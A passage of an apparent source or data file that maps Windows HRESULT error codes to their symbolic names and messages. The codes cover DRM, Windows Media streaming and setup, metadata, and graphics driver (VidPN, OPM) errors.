0xC00D28A3: ("NS_E_DRM_DEVICE_LIMIT_REACHED", "The maximum number of devices in use has been reached. Unable to open additional devices."),
0xC00D28A4: ("NS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY", "The proximity detection procedure could not confirm that the receiver is near the transmitter in the network."),
0xC00D28A5: ("NS_E_DRM_MUST_REGISTER", "The client must be registered before executing the intended operation."),
0xC00D28A6: ("NS_E_DRM_MUST_APPROVE", "The client must be approved before executing the intended operation."),
0xC00D28A7: ("NS_E_DRM_MUST_REVALIDATE", "The client must be revalidated before executing the intended operation."),
0xC00D28A8: ("NS_E_DRM_INVALID_PROXIMITY_RESPONSE", "The response to the proximity detection challenge is invalid."),
0xC00D28A9: ("NS_E_DRM_INVALID_SESSION", "The requested session is invalid."),
0xC00D28AA: ("NS_E_DRM_DEVICE_NOT_OPEN", "The device must be opened before it can be used to receive content."),
0xC00D28AB: ("NS_E_DRM_DEVICE_ALREADY_REGISTERED", "Device registration failed because the device is already registered."),
0xC00D28AC: ("NS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION", "Unsupported WMDRM-ND protocol version."),
0xC00D28AD: ("NS_E_DRM_UNSUPPORTED_ACTION", "The requested action is not supported."),
0xC00D28AE: ("NS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE", "The certificate does not have an adequate security level for the requested action."),
0xC00D28AF: ("NS_E_DRM_UNABLE_TO_OPEN_PORT", "Unable to open the specified port for receiving Proximity messages."),
0xC00D28B0: ("NS_E_DRM_BAD_REQUEST", "The message format is invalid."),
0xC00D28B1: ("NS_E_DRM_INVALID_CRL", "The Certificate Revocation List is invalid or corrupted."),
0xC00D28B2: ("NS_E_DRM_ATTRIBUTE_TOO_LONG", "The length of the attribute name or value is too long."),
0xC00D28B3: ("NS_E_DRM_EXPIRED_LICENSEBLOB", "The license blob passed in the cardea request is expired."),
0xC00D28B4: ("NS_E_DRM_INVALID_LICENSEBLOB", "The license blob passed in the cardea request is invalid. Contact Microsoft product support."),
0xC00D28B5: ("NS_E_DRM_INCLUSION_LIST_REQUIRED", "The requested operation cannot be performed because the license does not contain an inclusion list."),
0xC00D28B6: ("NS_E_DRM_DRMV2CLT_REVOKED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D28B7: ("NS_E_DRM_RIV_TOO_SMALL", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
0xC00D2904: ("NS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of output protection required by the content."),
0xC00D2905: ("NS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for compressed digital video."),
0xC00D2906: ("NS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for uncompressed digital video."),
0xC00D2907: ("NS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for analog video."),
0xC00D2908: ("NS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for compressed digital audio."),
0xC00D2909: ("NS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for uncompressed digital audio."),
0xC00D290A: ("NS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED", "Windows Media Player does not support the scheme of output protection required by the content."),
0xC00D2AFA: ("NS_E_REBOOT_RECOMMENDED", "Installation was not successful and some file cleanup is not complete. For best results, restart your computer."),
0xC00D2AFB: ("NS_E_REBOOT_REQUIRED", "Installation was not successful. To continue, you must restart your computer."),
0xC00D2AFC: ("NS_E_SETUP_INCOMPLETE", "Installation was not successful."),
0xC00D2AFD: ("NS_E_SETUP_DRM_MIGRATION_FAILED", "Setup cannot migrate the Windows Media Digital Rights Management (DRM) components."),
0xC00D2AFE: ("NS_E_SETUP_IGNORABLE_FAILURE", "Some skin or playlist components cannot be installed."),
0xC00D2AFF: ("NS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE", "Setup cannot migrate the Windows Media Digital Rights Management (DRM) components. In addition, some skin or playlist components cannot be installed."),
0xC00D2B00: ("NS_E_SETUP_BLOCKED", "Installation is blocked because your computer does not meet one or more of the setup requirements."),
0xC00D2EE0: ("NS_E_UNKNOWN_PROTOCOL", "The specified protocol is not supported."),
0xC00D2EE1: ("NS_E_REDIRECT_TO_PROXY", "The client is redirected to a proxy server."),
0xC00D2EE2: ("NS_E_INTERNAL_SERVER_ERROR", "The server encountered an unexpected condition which prevented it from fulfilling the request."),
0xC00D2EE3: ("NS_E_BAD_REQUEST", "The request could not be understood by the server."),
0xC00D2EE4: ("NS_E_ERROR_FROM_PROXY", "The proxy experienced an error while attempting to contact the media server."),
0xC00D2EE5: ("NS_E_PROXY_TIMEOUT", "The proxy did not receive a timely response while attempting to contact the media server."),
0xC00D2EE6: ("NS_E_SERVER_UNAVAILABLE", "The server is currently unable to handle the request due to a temporary overloading or maintenance of the server."),
0xC00D2EE7: ("NS_E_REFUSED_BY_SERVER", "The server is refusing to fulfill the requested operation."),
0xC00D2EE8: ("NS_E_INCOMPATIBLE_SERVER", "The server is not a compatible streaming media server."),
0xC00D2EE9: ("NS_E_MULTICAST_DISABLED", "The content cannot be streamed because the Multicast protocol has been disabled."),
0xC00D2EEA: ("NS_E_INVALID_REDIRECT", "The server redirected the player to an invalid location."),
0xC00D2EEB: ("NS_E_ALL_PROTOCOLS_DISABLED", "The content cannot be streamed because all protocols have been disabled."),
0xC00D2EEC: ("NS_E_MSBD_NO_LONGER_SUPPORTED", "The MSBD protocol is no longer supported. Please use HTTP to connect to the Windows Media stream."),
0xC00D2EED: ("NS_E_PROXY_NOT_FOUND", "The proxy server could not be located. Please check your proxy server configuration."),
0xC00D2EEE: ("NS_E_CANNOT_CONNECT_TO_PROXY", "Unable to establish a connection to the proxy server. Please check your proxy server configuration."),
0xC00D2EEF: ("NS_E_SERVER_DNS_TIMEOUT", "Unable to locate the media server. The operation timed out."),
0xC00D2EF0: ("NS_E_PROXY_DNS_TIMEOUT", "Unable to locate the proxy server. The operation timed out."),
0xC00D2EF1: ("NS_E_CLOSED_ON_SUSPEND", "Media closed because Windows was shut down."),
0xC00D2EF2: ("NS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER", "Unable to read the contents of a playlist file from a media server."),
0xC00D2EF3: ("NS_E_SESSION_NOT_FOUND", "Session not found."),
0xC00D2EF4: ("NS_E_REQUIRE_STREAMING_CLIENT", "Content requires a streaming media client."),
0xC00D2EF5: ("NS_E_PLAYLIST_ENTRY_HAS_CHANGED", "A command applies to a previous playlist entry."),
0xC00D2EF6: ("NS_E_PROXY_ACCESSDENIED", "The proxy server is denying access. The username and/or password might be incorrect."),
0xC00D2EF7: ("NS_E_PROXY_SOURCE_ACCESSDENIED", "The proxy could not provide valid authentication credentials to the media server."),
0xC00D2EF8: ("NS_E_NETWORK_SINK_WRITE", "The network sink failed to write data to the network."),
0xC00D2EF9: ("NS_E_FIREWALL", "Packets are not being received from the server. The packets might be blocked by a filtering device, such as a network firewall."),
0xC00D2EFA: ("NS_E_MMS_NOT_SUPPORTED", "The MMS protocol is not supported. Please use HTTP or RTSP to connect to the Windows Media stream."),
0xC00D2EFB: ("NS_E_SERVER_ACCESSDENIED", "The Windows Media server is denying access. The username and/or password might be incorrect."),
0xC00D2EFC: ("NS_E_RESOURCE_GONE", "The Publishing Point or file on the Windows Media Server is no longer available."),
0xC00D2EFD: ("NS_E_NO_EXISTING_PACKETIZER", "There is no existing packetizer plugin for a stream."),
0xC00D2EFE: ("NS_E_BAD_SYNTAX_IN_SERVER_RESPONSE", "The response from the media server could not be understood. This might be caused by an incompatible proxy server or media server."),
0xC00D2F00: ("NS_E_RESET_SOCKET_CONNECTION", "The Windows Media Server reset the network connection."),
0xC00D2F02: ("NS_E_TOO_MANY_HOPS", "The request could not reach the media server (too many hops)."),
0xC00D2F05: ("NS_E_TOO_MUCH_DATA_FROM_SERVER", "The server is sending too much data. The connection has been terminated."),
0xC00D2F06: ("NS_E_CONNECT_TIMEOUT", "It was not possible to establish a connection to the media server in a timely manner. The media server may be down for maintenance, or it may be necessary to use a proxy server to access this media server."),
0xC00D2F07: ("NS_E_PROXY_CONNECT_TIMEOUT", "It was not possible to establish a connection to the proxy server in a timely manner. Please check your proxy server configuration."),
0xC00D2F08: ("NS_E_SESSION_INVALID", "Session not found."),
0xC00D2F0A: ("NS_E_PACKETSINK_UNKNOWN_FEC_STREAM", "Unknown packet sink stream."),
0xC00D2F0B: ("NS_E_PUSH_CANNOTCONNECT", "Unable to establish a connection to the server. Ensure Windows Media Services is started and the HTTP Server control protocol is properly enabled."),
0xC00D2F0C: ("NS_E_INCOMPATIBLE_PUSH_SERVER", "The Server service that received the HTTP push request is not a compatible version of Windows Media Services (WMS). This error may indicate the push request was received by IIS instead of WMS. Ensure WMS is started and has the HTTP Server control protocol properly enabled and try again."),
0xC00D32C8: ("NS_E_END_OF_PLAYLIST", "The playlist has reached its end."),
0xC00D32C9: ("NS_E_USE_FILE_SOURCE", "Use file source."),
0xC00D32CA: ("NS_E_PROPERTY_NOT_FOUND", "The property was not found."),
0xC00D32CC: ("NS_E_PROPERTY_READ_ONLY", "The property is read only."),
0xC00D32CD: ("NS_E_TABLE_KEY_NOT_FOUND", "The table key was not found."),
0xC00D32CF: ("NS_E_INVALID_QUERY_OPERATOR", "Invalid query operator."),
0xC00D32D0: ("NS_E_INVALID_QUERY_PROPERTY", "Invalid query property."),
0xC00D32D2: ("NS_E_PROPERTY_NOT_SUPPORTED", "The property is not supported."),
0xC00D32D4: ("NS_E_SCHEMA_CLASSIFY_FAILURE", "Schema classification failure."),
0xC00D32D5: ("NS_E_METADATA_FORMAT_NOT_SUPPORTED", "The metadata format is not supported."),
0xC00D32D6: ("NS_E_METADATA_NO_EDITING_CAPABILITY", "Cannot edit the metadata."),
0xC00D32D7: ("NS_E_METADATA_CANNOT_SET_LOCALE", "Cannot set the locale id."),
0xC00D32D8: ("NS_E_METADATA_LANGUAGE_NOT_SUPORTED", "The language is not supported in the format."),
0xC00D32D9: ("NS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE", "There is no RFC1766 name translation for the supplied locale id."),
0xC00D32DA: ("NS_E_METADATA_NOT_AVAILABLE", "The metadata (or metadata item) is not available."),
0xC00D32DB: ("NS_E_METADATA_CACHE_DATA_NOT_AVAILABLE", "The cached metadata (or metadata item) is not available."),
0xC00D32DC: ("NS_E_METADATA_INVALID_DOCUMENT_TYPE", "The metadata document is invalid."),
0xC00D32DD: ("NS_E_METADATA_IDENTIFIER_NOT_AVAILABLE", "The metadata content identifier is not available."),
0xC00D32DE: ("NS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE", "Cannot retrieve metadata from the offline metadata cache."),
0xC0261003: ("ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM", "Checksum of the obtained monitor descriptor is invalid."),
0xC0261004: ("ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK", "Monitor descriptor contains an invalid standard timing block."),
0xC0261005: ("ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED", "Windows Management Instrumentation (WMI) data block registration failed for one of the MSMonitorClass WMI subclasses."),
0xC0261006: ("ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK", "Provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number."),
0xC0261007: ("ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK", "Provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name."),
0xC0261008: ("ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA", "There is no monitor descriptor data at the specified (offset, size) region."),
0xC0261009: ("ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK", "Monitor descriptor contains an invalid detailed timing block."),
0xC0262000: ("ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER", "Exclusive mode ownership is needed to create unmanaged primary allocation."),
0xC0262001: ("ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER", "The driver needs more direct memory access (DMA) buffer space to complete the requested operation."),
0xC0262002: ("ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER", "Specified display adapter handle is invalid."),
0xC0262003: ("ERROR_GRAPHICS_ADAPTER_WAS_RESET", "Specified display adapter and all of its state has been reset."),
0xC0262004: ("ERROR_GRAPHICS_INVALID_DRIVER_MODEL", "The driver stack does not match the expected driver model."),
0xC0262005: ("ERROR_GRAPHICS_PRESENT_MODE_CHANGED", "Present happened but ended up into the changed desktop mode."),
0xC0262006: ("ERROR_GRAPHICS_PRESENT_OCCLUDED", "Nothing to present due to desktop occlusion."),
0xC0262007: ("ERROR_GRAPHICS_PRESENT_DENIED", "Not able to present due to denial of desktop access."),
0xC0262008: ("ERROR_GRAPHICS_CANNOTCOLORCONVERT", "Not able to present with color conversion."),
0xC0262100: ("ERROR_GRAPHICS_NO_VIDEO_MEMORY", "Not enough video memory available to complete the operation."),
0xC0262101: ("ERROR_GRAPHICS_CANT_LOCK_MEMORY", "Could not probe and lock the underlying memory of an allocation."),
0xC0262102: ("ERROR_GRAPHICS_ALLOCATION_BUSY", "The allocation is currently busy."),
0xC0262103: ("ERROR_GRAPHICS_TOO_MANY_REFERENCES", "An object being referenced has reach the maximum reference count already and cannot be referenced further."),
0xC0262104: ("ERROR_GRAPHICS_TRY_AGAIN_LATER", "A problem could not be solved due to some currently existing condition. The problem should be tried again later."),
0xC0262105: ("ERROR_GRAPHICS_TRY_AGAIN_NOW", "A problem could not be solved due to some currently existing condition. The problem should be tried again immediately."),
0xC0262106: ("ERROR_GRAPHICS_ALLOCATION_INVALID", "The allocation is invalid."),
0xC0262107: ("ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE", "No more unswizzling apertures are currently available."),
0xC0262108: ("ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED", "The current allocation cannot be unswizzled by an aperture."),
0xC0262109: ("ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION", "The request failed because a pinned allocation cannot be evicted."),
0xC0262110: ("ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE", "The allocation cannot be used from its current segment location for the specified operation."),
0xC0262111: ("ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION", "A locked allocation cannot be used in the current command buffer."),
0xC0262112: ("ERROR_GRAPHICS_ALLOCATION_CLOSED", "The allocation being referenced has been closed permanently."),
0xC0262113: ("ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE", "An invalid allocation instance is being referenced."),
0xC0262114: ("ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE", "An invalid allocation handle is being referenced."),
0xC0262115: ("ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE", "The allocation being referenced does not belong to the current device."),
0xC0262116: ("ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST", "The specified allocation lost its content."),
0xC0262200: ("ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE", "Graphics processing unit (GPU) exception is detected on the given device. The device is not able to be scheduled."),
0xC0262300: ("ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY", "Specified video present network (VidPN) topology is invalid."),
0xC0262301: ("ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED", "Specified VidPN topology is valid but is not supported by this model of the display adapter."),
0xC0262302: ("ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED", "Specified VidPN topology is valid but is not supported by the display adapter at this time, due to current allocation of its resources."),
0xC0262303: ("ERROR_GRAPHICS_INVALID_VIDPN", "Specified VidPN handle is invalid."),
0xC0262304: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE", "Specified video present source is invalid."),
0xC0262305: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET", "Specified video present target is invalid."),
0xC0262306: ("ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED", "Specified VidPN modality is not supported (for example, at least two of the pinned modes are not cofunctional)."),
0xC0262308: ("ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET", "Specified VidPN source mode set is invalid."),
0xC0262309: ("ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET", "Specified VidPN target mode set is invalid."),
0xC026230A: ("ERROR_GRAPHICS_INVALID_FREQUENCY", "Specified video signal frequency is invalid."),
0xC026230B: ("ERROR_GRAPHICS_INVALID_ACTIVE_REGION", "Specified video signal active region is invalid."),
0xC026230C: ("ERROR_GRAPHICS_INVALID_TOTAL_REGION", "Specified video signal total region is invalid."),
0xC0262310: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE", "Specified video present source mode is invalid."),
0xC0262311: ("ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE", "Specified video present target mode is invalid."),
0xC0262312: ("ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET", "Pinned mode must remain in the set on VidPN's cofunctional modality enumeration."),
0xC0262313: ("ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY", "Specified video present path is already in the VidPN topology."),
0xC0262314: ("ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET", "Specified mode is already in the mode set."),
0xC0262315: ("ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET", "Specified video present source set is invalid."),
0xC0262316: ("ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET", "Specified video present target set is invalid."),
0xC0262317: ("ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET", "Specified video present source is already in the video present source set."),
0xC0262318: ("ERROR_GRAPHICS_TARGET_ALREADY_IN_SET", "Specified video present target is already in the video present target set."),
0xC0262319: ("ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH", "Specified VidPN present path is invalid."),
0xC026231A: ("ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY", "Miniport has no recommendation for augmentation of the specified VidPN topology."),
0xC026231B: ("ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET", "Specified monitor frequency range set is invalid."),
0xC026231C: ("ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE", "Specified monitor frequency range is invalid."),
0xC026231D: ("ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET", "Specified frequency range is not in the specified monitor frequency range set."),
0xC026231F: ("ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET", "Specified frequency range is already in the specified monitor frequency range set."),
0xC0262320: ("ERROR_GRAPHICS_STALE_MODESET", "Specified mode set is stale. Reacquire the new mode set."),
0xC0262321: ("ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET", "Specified monitor source mode set is invalid."),
0xC0262322: ("ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE", "Specified monitor source mode is invalid."),
0xC0262323: ("ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN", "Miniport does not have any recommendation regarding the request to provide a functional VidPN given the current display adapter configuration."),
0xC0262324: ("ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE", "ID of the specified mode is already used by another mode in the set."),
0xC0262325: ("ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION", "System failed to determine a mode that is supported by both the display adapter and the monitor connected to it."),
0xC0262326: ("ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES", "Number of video present targets must be greater than or equal to the number of video present sources."),
0xC0262327: ("ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY", "Specified present path is not in the VidPN topology."),
0xC0262328: ("ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE", "Display adapter must have at least one video present source."),
0xC0262329: ("ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET", "Display adapter must have at least one video present target."),
0xC026232A: ("ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET", "Specified monitor descriptor set is invalid."),
0xC026232B: ("ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR", "Specified monitor descriptor is invalid."),
0xC026232C: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET", "Specified descriptor is not in the specified monitor descriptor set."),
0xC026232D: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET", "Specified descriptor is already in the specified monitor descriptor set."),
0xC026232E: ("ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE", "ID of the specified monitor descriptor is already used by another descriptor in the set."),
0xC026232F: ("ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE", "Specified video present target subset type is invalid."),
0xC0262330: ("ERROR_GRAPHICS_RESOURCES_NOT_RELATED", "Two or more of the specified resources are not related to each other, as defined by the interface semantics."),
0xC0262331: ("ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE", "ID of the specified video present source is already used by another source in the set."),
0xC0262332: ("ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE", "ID of the specified video present target is already used by another target in the set."),
0xC0262333: ("ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET", "Specified VidPN source cannot be used because there is no available VidPN target to connect it to."),
0xC0262334: ("ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER", "Newly arrived monitor could not be associated with a display adapter."),
0xC0262335: ("ERROR_GRAPHICS_NO_VIDPNMGR", "Display adapter in question does not have an associated VidPN manager."),
0xC0262336: ("ERROR_GRAPHICS_NO_ACTIVE_VIDPN", "VidPN manager of the display adapter in question does not have an active VidPN."),
0xC0262337: ("ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY", "Specified VidPN topology is stale. Re-acquire the new topology."),
0xC0262338: ("ERROR_GRAPHICS_MONITOR_NOT_CONNECTED", "There is no monitor connected on the specified video present target."),
0xC0262339: ("ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY", "Specified source is not part of the specified VidPN topology."),
0xC026233A: ("ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE", "Specified primary surface size is invalid."),
0xC026233B: ("ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE", "Specified visible region size is invalid."),
0xC026233C: ("ERROR_GRAPHICS_INVALID_STRIDE", "Specified stride is invalid."),
0xC026233D: ("ERROR_GRAPHICS_INVALID_PIXELFORMAT", "Specified pixel format is invalid."),
0xC026233E: ("ERROR_GRAPHICS_INVALID_COLORBASIS", "Specified color basis is invalid."),
0xC026233F: ("ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE", "Specified pixel value access mode is invalid."),
0xC0262340: ("ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY", "Specified target is not part of the specified VidPN topology."),
0xC0262341: ("ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT", "Failed to acquire display mode management interface."),
0xC0262342: ("ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE", "Specified VidPN source is already owned by a display mode manager (DMM) client and cannot be used until that client releases it."),
0xC0262343: ("ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN", "Specified VidPN is active and cannot be accessed."),
0xC0262344: ("ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL", "Specified VidPN present path importance ordinal is invalid."),
0xC0262345: ("ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION", "Specified VidPN present path content geometry transformation is invalid."),
0xC0262346: ("ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED", "Specified content geometry transformation is not supported on the respective VidPN present path."),
0xC0262347: ("ERROR_GRAPHICS_INVALID_GAMMA_RAMP", "Specified gamma ramp is invalid."),
0xC0262348: ("ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED", "Specified gamma ramp is not supported on the respective VidPN present path."),
0xC0262349: ("ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED", "Multisampling is not supported on the respective VidPN present path."),
0xC026234A: ("ERROR_GRAPHICS_MODE_NOT_IN_MODESET", "Specified mode is not in the specified mode set."),
0xC026234D: ("ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON", "Specified VidPN topology recommendation reason is invalid."),
0xC026234E: ("ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE", "Specified VidPN present path content type is invalid."),
0xC026234F: ("ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE", "Specified VidPN present path copy protection type is invalid."),
0xC0262350: ("ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS", "No more than one unassigned mode set can exist at any given time for a given VidPN source or target."),
0xC0262352: ("ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING", "The specified scan line ordering type is invalid."),
0xC0262353: ("ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED", "Topology changes are not allowed for the specified VidPN."),
0xC0262354: ("ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS", "All available importance ordinals are already used in the specified topology."),
0xC0262355: ("ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT", "Specified primary surface has a different private format attribute than the current primary surface."),
0xC0262356: ("ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM", "Specified mode pruning algorithm is invalid."),
0xC0262400: ("ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED", "Specified display adapter child device already has an external device connected to it."),
0xC0262401: ("ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED", "The display adapter child device does not support reporting a descriptor."),
0xC0262430: ("ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER", "The display adapter is not linked to any other adapters."),
0xC0262431: ("ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED", "Lead adapter in a linked configuration was not enumerated yet."),
0xC0262432: ("ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED", "Some chain adapters in a linked configuration were not enumerated yet."),
0xC0262433: ("ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY", "The chain of linked adapters is not ready to start because of an unknown failure."),
0xC0262434: ("ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED", "An attempt was made to start a lead link display adapter when the chain links were not started yet."),
0xC0262435: ("ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON", "An attempt was made to turn on a lead link display adapter when the chain links were turned off."),
0xC0262436: ("ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE", "The adapter link was found to be in an inconsistent state. Not all adapters are in an expected PNP or power state."),
0xC0262438: ("ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER", "The driver trying to start is not the same as the driver for the posted display adapter."),
0xC0262500: ("ERROR_GRAPHICS_OPM_NOT_SUPPORTED", "The driver does not support Output Protection Manager (OPM)."),
0xC0262501: ("ERROR_GRAPHICS_COPP_NOT_SUPPORTED", "The driver does not support Certified Output Protection Protocol (COPP)."),
0xC0262502: ("ERROR_GRAPHICS_UAB_NOT_SUPPORTED", "The driver does not support a user-accessible bus (UAB)."),
0xC0262503: ("ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS", "The specified encrypted parameters are invalid."),
0xC0262504: ("ERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL", "An array passed to a function cannot hold all of the data that the function wants to put in it."),
0xC0262505: ("ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST", "The GDI display device passed to this function does not have any active video outputs."),
0xC0262506: ("ERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME", "The protected video path (PVP) cannot find an actual GDI display device that corresponds to the passed-in GDI display device name."),
0xC0262507: ("ERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP", "This function failed because the GDI display device passed to it was not attached to the Windows desktop."),
0xC0262508: ("ERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED", "The PVP does not support mirroring display devices because they do not have video outputs."),
0xC026250A: ("ERROR_GRAPHICS_OPM_INVALID_POINTER", "The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, it points to an invalid address, it points to a kernel mode address, or it is not correctly aligned."),
0xC026250B: ("ERROR_GRAPHICS_OPM_INTERNAL_ERROR", "An internal error caused this operation to fail."),
0xC026250C: ("ERROR_GRAPHICS_OPM_INVALID_HANDLE", "The function failed because the caller passed in an invalid OPM user mode handle."),
0xC026250D: ("ERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE", "This function failed because the GDI device passed to it did not have any monitors associated with it."),
0xC026250E: ("ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH", "A certificate could not be returned because the certificate buffer passed to the function was too small."),
0xC026250F: ("ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED", "A video output could not be created because the frame buffer is in spanning mode."),
0xC0262510: ("ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED", "A video output could not be created because the frame buffer is in theater mode."),
0xC0262511: ("ERROR_GRAPHICS_PVP_HFS_FAILED", "The function call failed because the display adapter's hardware functionality scan failed to validate the graphics hardware."),
